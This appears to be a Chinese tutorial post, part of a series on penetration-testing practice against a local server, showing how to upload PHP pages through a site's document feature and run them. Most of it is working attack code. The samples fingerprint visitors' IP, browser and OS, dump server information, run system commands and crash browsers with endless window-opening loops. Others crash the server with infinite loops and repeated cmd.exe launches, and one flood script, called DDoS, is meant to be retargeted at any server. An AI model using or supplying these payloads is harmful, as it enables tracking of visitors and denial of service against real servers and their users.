服务器渗透测试练习(part8:扩大攻击范围(PHP篇))
#0:回顾
我们在之前对服务器的试探中曾经尝试在服务器上执行PHP代码,但是没有成功,这篇文章就能讲一下如何用另外的途径进行PHP代码执行。
上一篇文章用的JS代码均是在read的页面执行并输出结果,但是这对PHP代码来说无效,因为服务器后端就用的是PHP,而且read页面是用echo进行文本显示,所以不能在read页面动手脚了。那么应该如何利用呢?
PS:这篇文章中提到的所有方法中,需用户打开的必须结合JS重定向使用,需攻击者打开的一律访问127.0.0.1/你们的文章保存路径/*.php来进行查看。
#1:PHP+获取用户信息(需用户打开该页面)
来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_GU),类型为php,标题随意,正文如下
<?php function get_real_ip(){ $ip=false; if(!empty($_SERVER['HTTP_CLIENT_IP'])){ $ip=$_SERVER['HTTP_CLIENT_IP']; } if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ips=explode (', ', $_SERVER['HTTP_X_FORWARDED_FOR']); if($ip){ array_unshift($ips, $ip); $ip=FALSE; } for ($i=0; $i < count($ips); $i++){ if(!eregi ('^(10│172.16│192.168).', $ips[$i])){ $ip=$ips[$i]; break; } } } return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); } function get_broswer(){ $sys=$_SERVER['HTTP_USER_AGENT']; if(stripos($sys,"Firefox/")>0){ preg_match("/Firefox\/([^;)]+)+/i",$sys,$b); $exp[0]="Firefox"; $exp[1]=$b[1]; } elseif(stripos($sys,"Maxthon")>0){ preg_match("/Maxthon\/([\d\.]+)/",$sys,$aoyou); $exp[0]="傲游"; $exp[1]=$aoyou[1]; } elseif(stripos($sys,"MSIE")>0){ preg_match("/MSIE\s+([^;)]+)+/i",$sys,$ie); $exp[0]="IE"; $exp[1]=$ie[1]; } elseif(stripos($sys, "OPR")>0) { preg_match("/OPR\/([\d\.]+)/",$sys,$opera); $exp[0]="Opera"; $exp[1]=$opera[1]; } elseif(stripos($sys, "Edge")>0) { preg_match("/Edge\/([\d\.]+)/",$sys,$Edge); $exp[0]="Edge"; $exp[1]=$Edge[1]; } elseif(stripos($sys, "Chrome")>0) { preg_match("/Chrome\/([\d\.]+)/",$sys,$google); $exp[0]="Chrome"; $exp[1]=$google[1]; } elseif(stripos($sys,'rv:')>0 && stripos($sys,'Gecko')>0){ preg_match("/rv:([\d\.]+)/",$sys,$IE); $exp[0]="IE"; $exp[1]=$IE[1]; } else{ $exp[0]="未知浏览器"; $exp[1]=""; } return $exp[0].'('.$exp[1].')'; } function get_os(){ $agent=$_SERVER['HTTP_USER_AGENT']; $os=''; if(preg_match('/win/i',$agent) && strpos($agent,'95')){ $os = 'Windows 95'; } else if(preg_match('/win 9x/i',$agent) && strpos($agent,'4.90')){ $os = 'Windows ME'; } else if(preg_match('/win/i',$agent) && preg_match('/98/i',$agent)){ $os = 'Windows 98'; } else if(preg_match('/win/i',$agent) && preg_match('/nt 6.0/i',$agent)){ $os = 'Windows Vista'; } else if(preg_match('/win/i',$agent) && preg_match('/nt 6.1/i',$agent)){ $os = 'Windows 7'; } else if (preg_match('/win/i',$agent) && preg_match('/nt 6.2/i',$agent)){ $os = 'Windows 8'; }else if(preg_match('/win/i',$agent) && preg_match('/nt 10.0/i',$agent)){ $os = 'Windows 10'; }else if(preg_match('/win/i',$agent) && preg_match('/nt 5.1/i',$agent)){ $os='Windows XP'; } else if(preg_match('/win/i',$agent) && preg_match('/nt 5/i',$agent)){ $os='Windows 2000'; } else if(preg_match('/win/i',$agent) && preg_match('/nt/i',$agent)){ $os='Windows NT'; } else if(preg_match('/win/i',$agent) && preg_match('/32/i',$agent)){ $os='Windows 32'; } else if(preg_match('/linux/i',$agent)){ $os='Linux'; } else if(preg_match('/unix/i',$agent)){ $os='Unix'; } else if(preg_match('/sun/i',$agent) && preg_match('/os/i',$agent)){ $os='SunOS'; } else if(preg_match('/ibm/i',$agent) && preg_match('/os/i',$agent)){ $os='IBM OS/2'; } else if(preg_match('/Mac/i',$agent) && preg_match('/PC/i',$agent)){ $os='Macintosh'; } else if(preg_match('/PowerPC/i',$agent)){ $os='PowerPC'; } else if(preg_match('/AIX/i',$agent)){ $os='AIX'; } else if(preg_match('/HPUX/i',$agent)){ $os='HPUX'; } else if(preg_match('/NetBSD/i',$agent)){ $os='NetBSD'; } else if(preg_match('/BSD/i',$agent)){ $os='BSD'; } else if(preg_match('/OSF1/i',$agent)){ $os='OSF1'; } else if(preg_match('/IX/i',$agent)){ $os='IRIX'; } else if(preg_match('/FreeBSD/i',$agent)){ $os='FreeBSD'; } else if(preg_match('/teleport/i',$agent)){ $os='teleport'; } else if(preg_match('/flashget/i',$agent)){ $os='flashget'; } else if(preg_match('/webzip/i',$agent)){ $os='webzip'; } else if(preg_match('/offline/i',$agent)){ $os='offline'; } else{ $os='未知操作系统'; } return $os; } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>logcheck</title> </head> <body> <?php error_reporting(0); echo get_real_ip().' '.get_broswer().' '.get_os();//这里在实际使用时应该换成保存为文件的代码 ?> </body> </html>
这个页面结合之前的JS重定向可以获取到所有访问有重定向代码的read页面的用户的IP,浏览器及版本和操作系统,等于是为后续工作收集信息。
#2:PHP+伪造登录页面(需用户打开该页面)
见前一篇文章。
#3:PHP+获取服务器信息(需攻击者打开该页面)
来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_GS),类型为php,标题随意,正文如下
<!doctype html> <html> <head> <meta charset="utf-8"> <title>logcheck</title> </head> <body> <?php error_reporting(0); echo phpinfo() ?> </body> </html>
然后只需要访问127.0.0.1/你们的文章保存路径/hack_PHP_GS.php就可以看到关于服务器使用的PHP的所有信息。
服务器IP:
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php set_time_limit(0); system("ipconfig"); ?> </body> </html>
#4:PHP+蓄意引发客户端崩溃(需用户打开该页面)(这个也可以使用JS)
来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_CU),类型为php,标题随意,正文如下
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php while(1){ echo "<script>window.open('http://bd.iegourl.com/n1023_bd')</script>"; } ?> </body> </html>
这段代码会循环在新标签页中打开百度首页,直到客户端内存耗尽导致崩溃,或者被用户关掉。
升级版:
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php while(true){ echo "<script>window.open(window.location.href)</script>"; } ?> </body> </html>
循环打开自己,速度会比上一个稍快,因为该页面已经在本地缓存了。
#5:PHP+蓄意引发服务器崩溃(需攻击者打开该页面)
来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_CS),类型为php,标题随意,正文如下
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php set_time_limit(0); while(true){ echo '1'; } ?> </body> </html>
这段代码会让服务器当场暴毙。
升级版:
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php set_time_limit(0); while(true){ shell_exec("cmd.exe"); } ?> </body> </html>
服务器会循环打开cmd命令提示符(这里笔者用的是Windows搭建的服务器),导致死机。
#6:PHP+DDOS(需攻击者打开该页面(升级版需用户打开))
来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_DDOS),类型为php,标题随意,正文如下
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php set_time_limit(0); while(true){ $url='http://127.0.0.1';//这里应改为相应的服务器地址 $curl=curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data=curl_exec($curl); curl_close($curl); var_dump($data); } ?> </body> </html>
这段代码会循环对服务器发送http请求,以阻塞端口,实现DDOS。
升级版:
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php set_time_limit(0); while(true){ $url='http://127.0.0.1';//这里应改为相应的服务器地址 $curl=curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data=curl_exec($curl); curl_close($curl); var_dump($data); echo '<script>window.open(window.location.href)</script>' } ?> </body> </html>
这段代码会在每发送一次请求就打开一个新的该页面,继续发送请求,所以服务器收到的请求会呈几何级数增长,也会引发客户端的崩溃,一举两得。
下一篇文章将会讲解另一些使用PHP扩大攻击范围的方法。